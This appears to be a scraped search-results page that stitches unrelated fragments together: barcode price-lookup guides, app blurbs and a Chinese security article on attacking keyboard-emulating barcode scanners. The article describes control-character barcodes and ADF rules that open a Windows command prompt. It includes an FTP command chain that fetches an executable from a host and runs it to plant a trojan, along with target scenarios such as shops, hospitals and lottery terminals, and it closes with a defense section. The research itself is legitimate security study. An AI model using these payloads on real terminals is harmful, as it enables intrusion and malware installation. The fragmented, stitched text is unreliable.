精华内容
下载资源
问答
  • 快速条形码查询

    2013-03-19 08:42:31
    当客户通过条形码问产品的价格,你是否可以快速到。这个简单的页面就可以实现。
  • 就像每个人都有身份证每个商品也有它专属的身份证明↓↓↓ 商 品 条 又称全球贸易项目代码是指包含厂商识别代码在内的对零售商品、非零售商品、物流单元、位置、资产及服务进行全球惟一标识的种代码(或称数据...
    6176bdf7-f717-eb11-8da9-e4434bdf6706.png 6776bdf7-f717-eb11-8da9-e4434bdf6706.png

    就像每个人都有身份证

    每个商品也有它专属的身份证明

    ↓↓↓

      商 品 条 码  

    又称全球贸易项目代码

    6b76bdf7-f717-eb11-8da9-e4434bdf6706.png

    是指包含厂商识别代码在内的对零售商品、非零售商品、物流单元、位置、资产及服务进行全球惟一标识的一种代码(或称数据结构)。对贸易项目进行编码和符号表示(前缀码为690-699是国内条码),能够实现商品零售(POS)、进货、存货管理、自动补货、销售分析及其它业务运作的自动化。

    如今,从航天飞机到杂货店里的油盐酱醋,商品条码已经被用到了几乎所有需要做标记的物品上。

    在超市购物结账时,收银员用读码器对着商品条码一扫,“嘀”一声,商品的名称、价钱、产地等信息就全部显示在收银机上了。

    6e76bdf7-f717-eb11-8da9-e4434bdf6706.png

    那么问题来了

    当我们想知道这些信息时

    到哪儿去查询商品条码呢

    7276bdf7-f717-eb11-8da9-e4434bdf6706.gif   官网查询  

    http://www.ancc.org.cn/Service/queryTools/Internal.aspx  

    8176bdf7-f717-eb11-8da9-e4434bdf6706.png

    (查询界面)

    厂商信息查询结果说明:自中国物品编码中心为企业颁发《系统成员证书》当日起计,7天后,在线公布该企业的名称、厂商识别代码及证书颁发日期等信息;15天后,将公布该企业的具体注册信息。

    ★在厂商信息查询(或者产品信息查询)里,输入相应的条码信息或者企业名称,都能看到是否注销的状态。

    ★本查询仅适用于中华人民共和国境内注册的商品条码信息。

    8876bdf7-f717-eb11-8da9-e4434bdf6706.png   其他网站查询  

    http://tiaoma.cnaidc.com/

    9576bdf7-f717-eb11-8da9-e4434bdf6706.png

    (查询页面)

    条码查询介绍:支持EAN8/EAN13的商品条码在线查询,查询价格信息,真伪产地;条码查询网支持国内条码查询和国外条码查询;查询结果仅供参考,一切以实际商品信息为准。

    8876bdf7-f717-eb11-8da9-e4434bdf6706.png a376bdf7-f717-eb11-8da9-e4434bdf6706.gif   手机APP查询  

    a976bdf7-f717-eb11-8da9-e4434bdf6706.jpeg

    苹果:

    直接在appstore里面搜索“条码追溯”下载

    安卓:

    https://dl.pconline.com.cn/download/806434.html

    或者

    ac76bdf7-f717-eb11-8da9-e4434bdf6706.png

    扫码下载

    b076bdf7-f717-eb11-8da9-e4434bdf6706.png

    (APP下载页面截图)

    8876bdf7-f717-eb11-8da9-e4434bdf6706.pngEND

    【关注】报告老板!年报抽查要来了,你准备好了吗?

    【八一特辑】铁血铸军魂,市监新作为

    【党建之窗】火红的七月,我们的党旗在飘扬

    【快讯】区市场监管局召开月饼生产质量安全工作会议

    内容整理自网络

    b876bdf7-f717-eb11-8da9-e4434bdf6706.png bb76bdf7-f717-eb11-8da9-e4434bdf6706.png c576bdf7-f717-eb11-8da9-e4434bdf6706.png
    展开全文
  • 商品条形码查价格

    2012-11-03 16:31:35
    可以随时通过条形码查处物品的价格,对在购买商品时很有好处,因为,他会提供不同超市或网店的价格
  • 某客户有大批商品条码(数十万),需要根据这些条码获取到商品的名称和价格信息。 我们评估后发现“我查查App”提供的商品条码搜索功能比较好(基本上都能到,库比较全),但抓包发现该App的通信进行了加密...

    本文原创作者: 鲲之鹏 (http://www.site-digger.com)

    本文原始链接:http://www.site-digger.com/html/articles/20160715/126.html


    通过商品条码可以准确定位(关联)商品。某客户有一大批商品条码(数十万),需要根据这些条码获取到商品的名称和价格信息。

    我们评估后发现“我查查App”提供的商品条码搜索功能比较好(基本上都能查到,库比较全),但抓包发现该App的通信进行了加密,因此无法直接调用它的查询接口。

    鲲之鹏的技术人员对该App进行反编译,通过对源码分析后成功绕过了该加密算法,实现了对接口的调用(如下图所示是查询商品条码6909131169201的结果)。

    我查查App反编译,根据商品条码查询商品信息

    还可以查询到商品(条码)对应的各门店价格,而且能够指定城市,如下示例数据所示(鲲之鹏的技术人员批量采集的结果)。

    点击查看示例数据

    如果您有类似的需求,请和我们的客服人员联系


    说明:该文章为 鲲之鹏 (http://www.site-digger.com)原创文章 ,您除了可以发表评论外,还可以转载到别的网站,但是请保留源地址,谢谢!!(尊重他人劳动,我们共同努力)


    来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/30303165/viewspace-2168781/,如需转载,请注明出处,否则将追究法律责任。

    转载于:http://blog.itpub.net/30303165/viewspace-2168781/

    展开全文
  • 本人把搜集成的一些网上公开的一些条码数据导入到个数据库中,做了本api供大家免费调用. http://tool.bitefu.net/barcode/?code=6901294171206 当然商品库数据还不是很全.毕竟商品是非常丰富的而且在不断的...

    免费API 可根据商品条码查询商品名称

    本人把搜集成的一些网上公开的一些条码数据导入到一个数据库中,做了本api供大家免费调用.

    http://tool.bitefu.net/barcode/?code=6901294171206

    当然商品库数据还不是很全.毕竟商品是非常丰富的而且在不断的更新.我也会根据需求不断的更新商品库.

    获取商品详细信息如 图片,规则,单位,产地,价格等信息可以联系我申请appid 和appkey

    帮助文档:http://tool.bitefu.net/showdoc/web/#/8

    展开全文
  • 码上闪实用之处在于“条形码比价”功能,轻松扫,立刻手机比价,自动搜索商品在各大超市、商场、网上商城的价格,真正做到货比三家、理性购物。 码上闪特别之处在于真正实现各网上商城价格比较的功能,手机扫...
  • 基于条码识别的商品价格查询软件的设计与实现毕业论文.docx
  • ####是款服务于管理、书、比价、购买备忘的移动应用。你可以: 用手机拍ISBN条码,快速找书 查询图书信息和评价 对比不同网上书店的价格,货比三家 随时增减购书单,并与网页同步 功能 发布 协议 构建 部分文档 ...
  • 码上闪条形码比价

    2012-02-19 13:27:57
    码上闪实用之处在于“条形码比价”功能,轻松扫,立刻手机比价,自动搜索商品在各大超市、商场、网上商城的价格,真正做到货比三家、理性购物。 码上闪特别之处在于真正实现各网上商城价格比较的功能,手机扫...
  • 维二维通用条码扫描器是本站发布的第条码扫描项目,条码扫描器在您的手机上使用摄像头读取条形码,查询产品的信息,如价格和评论。此外,还可以读取QR吗和Data Matrix二维条码。传统的条形码,如产品包装上...
  • 首先从电脑上下载一个库存表到盘点机。 库存表分16列,有用的列为 列1,列2,【条码(20位)】,【品名(30位)】,【单位(5位)】,【库存(2位)】,【单价(8位)】,列8,列9,【零售价(8位)】,列11,列12,...
  • 数据流 · 2016/01/19 10:44Author:[email protected]0x00 前言在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo...

    数据流 · 2016/01/19 10:44

    Author:[email protected]

    0x00 前言


    在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的攻击技术完整的文章,故有此文分享。 : )

    0x01 条形码介绍


    条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。

    常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类型,一般都利用code128条形码进行攻击。

    0x02 扫码器介绍


    扫码器,大家几乎每天都能看到,在超市付账,物流,医院,彩票等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。

    大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

    0x03 Code128条形码


    既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128 是一种广泛使用的条形码类型,因为它支持ASCII 0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。

    Code128也分为三种:

    1. Code128A:标准数字和大写字母,控制符,特殊字符
    2. Code128B:标准数字和大写字母,小写字母,特殊字符
    3. Code128C/EAN128:[00]-[99]的数字对集合,共100个,即只能表示偶数位长度的数字。

    Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

    如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000,也即是起始码。

    起始码对照:

    • 128A 11010000100
    • 128B 11010010000
    • 128C 11010011100

    结束码都是统一的1100011101011

    根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

    最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)

    0x04 控制字符与条形码生成


    根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127 就是控制字符。

    根据ASCII的控制字符表,可以看出Ctrl+?的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

    下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

    然后点击条形码按钮就可以创建自己的条形码,选择code128类型。

    利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

    扫码器扫描后立即弹出对话框

    市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。

    0x05 Advanced Data Formatting(高级数据格式)


    Advanced Data Formatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。

    例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345 纯数字,想要在这个结账系统中识别就要在输入前进行处理。

    再举个例子:

    条形码的数据:

    8523647122

    通过ADF输出的数据:

    8523641<Enter>

    如何实现ADF?

    现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。

    ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。

    利用ADF挟持扫描器数据

    对扫描器进行ADF设置时要先扫描开始模式,Begin New Rule

    此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。

    随后依次扫描下列条形码

    然后Save Rule

    当Save Rule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。

    如何恢复?

    扫描清除所有规则条形码即可。

    0x06 利用ADF执行命令,种植木马


    由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。

    在ADF中称为GUI R,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUI R,再执行"c","m","d",win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的sleep()

    在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。

    知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:

    twitter.com/tombkeeper/…

    视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

    这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器软件123scan。

    123scan是摩托罗拉官方出品非常强大的扫描器管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。

    打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

    点击Add action就是添加规则。

    ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

    设置延时0.5秒,依次添加规则。

    最后会自动合并条形码并输出。

    以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容,而随后的Send ALL that remains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加Send ALL that remains。

    利用ADF种植木马

    既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

    #!bash
    ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»
    复制代码

    下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。

    (测试型号Symbol-LS4208-SR20001ZZR)

    v.youku.com/v_show/id_X…

    密码:wooyun520

    0x07 攻击场景


    简单总结一下可能存在攻击的场景地点:

    1.商店付款

    直接把条形码替换到商品;很多便利店支持微信,支付宝二维码支付,扫描器也支持多个类型条形码,可以直接把条形码存在手机中,让其扫描;有些大型百货有资助价格查询终端,只要用特殊的条形码到终端一扫就能跳出终端。

    2.医院病历,检验单

    现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

    3.彩票

    彩票自身都会有条形码,兑换彩票就凭靠条形码到机器识别,所以伪造或对检验机进行攻击还是有可能,彩票终端类型这么多。

    4.快递单子

    快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。

    。。。。。。

    场景很多就不一一列举了,以上场景有空我会逐一分析。

    0x08 防范方法


    1. 扫码器默认不要开启ADF功能
    2. 扫描器尽量不要使用键盘模拟
    3. 设置热键黑名单

    0x09 总结


    一维条形码攻击的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等攻击。

    无论什么设备,只要能控制一部分输入,就存在风险!

    0x0A 参考文献


    展开全文
  • 步: 在foreknow-manager-web 包下 WEB-INF/web.xml 配置web.xml 中央控制器 &lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;web-app xmlns:xsi="...
  • 码上闪实用之处在于“条码购物比价”功能,轻松扫,立刻手机比价,自动搜索商品在各大超市、商场的价格,真正做到货比三家、理性购物。 码上闪特别之处在于真正实现“掌上淘宝”功能,手机扫条形码或者搜索商品...
  • 维二维通用条码扫描器是本站发布的第条码扫描项目,条码扫描器在您的手机上使用摄像头读取条形码,查询产品的信息,如价格和评论。此外,还可以读取QR吗和Data Matrix二维条码。传统的条形码,如产品包装上...
  • 请问各位前辈,如何实现android手机扫描条码,然后到数据库查询资料,并打印出来。 我到网上查询资料说要使用zxing扫描条码,但要怎么实现呢?或者思路如何?谢谢!
  • 这次药品的数据在1.2万左右,数据量这次控制了一直,大约有6万的药品条形码和4万左右的国药准字编号。其中要8千左右的的药品是更新了价格的! 后期我们也会更具用户扫描的二维填写码自动的更新数据,打造个开放...
  • 这几天在使用的mybatis-plus的时候,在遇见复杂业务的时候遇见的一些租户过滤问题,面对多表关联查询的时候、自定义sql的时候,或者说对多的时候,其中个查询等功能过滤过滤租户的解决方案。 在个缓存命中...
  • 网页查询页面已经做好了。...现在要求:在表单输入框,点击相机图标后,会调用相机,扫描条形码,所得条形码执行:输入表单并回车这个动作。 小弟只会ASP和HTML这些。 简单还是难?怎么实现?还是直接找人外包做?
  • m_list.InsertColumn(1,"条形码",LVCFMT_LEFT,100); m_list.InsertColumn(2,"书籍名称",LVCFMT_LEFT,120); m_list.InsertColumn(3,"作者",LVCFMT_LEFT,80); m_list.InsertColumn(4,"出版社",LVCFMT_LEFT,100); ...
  • Java查询图书信息

    2020-03-07 16:32:05
    每个类别下有很多图书,每本图书都有相对应的类别,这就具备了对多的关系映射,即个类别对应多本图书。 在这种情况下就可以使用 Map 映射来存储类别和图书信息,其键为 Category(类别)类型,值为 List 类型...
  • 输入条码后,查询该产品的价格。 如果查询不到,报警,重新输入条码。 如果查询到,则在界面上显示进价和零售价,然后输入一下数量,把条码和数量进行保存。 【文件格式】 电脑要下载一个索引文件到盘点机。 文件名:...
  • 读取条形码

    2012-04-23 10:54:32
    ... 简介 ...如果您是众多软件程序员中的名,您所看到的不会太好。...我们谈论条形码。因为飞速发展的经济已经迅速地采用了条形码提供的便利, 所以它们已经普遍存在。从跟踪邮包到借阅图书馆书籍...
  • 部分查询练习题及答案

    千次阅读 2020-11-28 11:12:56
    (LEFT OUTER JOIN) (15)查询现有图书中价格最高的图书, 输出书名、作者、定价; select 书名,作者,定价 from tb_book where 定价= ( select MAX(定价) from tb_book) (16)查询借阅了“大学英语”但没有借阅...
  • 次运行时会创建个MDB数据库,大部分数据都在这个数据库中。 使用起来也更加方便。 首先建立个供应商,然后创建产品的基本信息,最后在购买页面完成购买,这样就有了个基本的数据库。 正常使用时,使用...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,120
精华内容 1,248
关键字:

下载查一查条码价格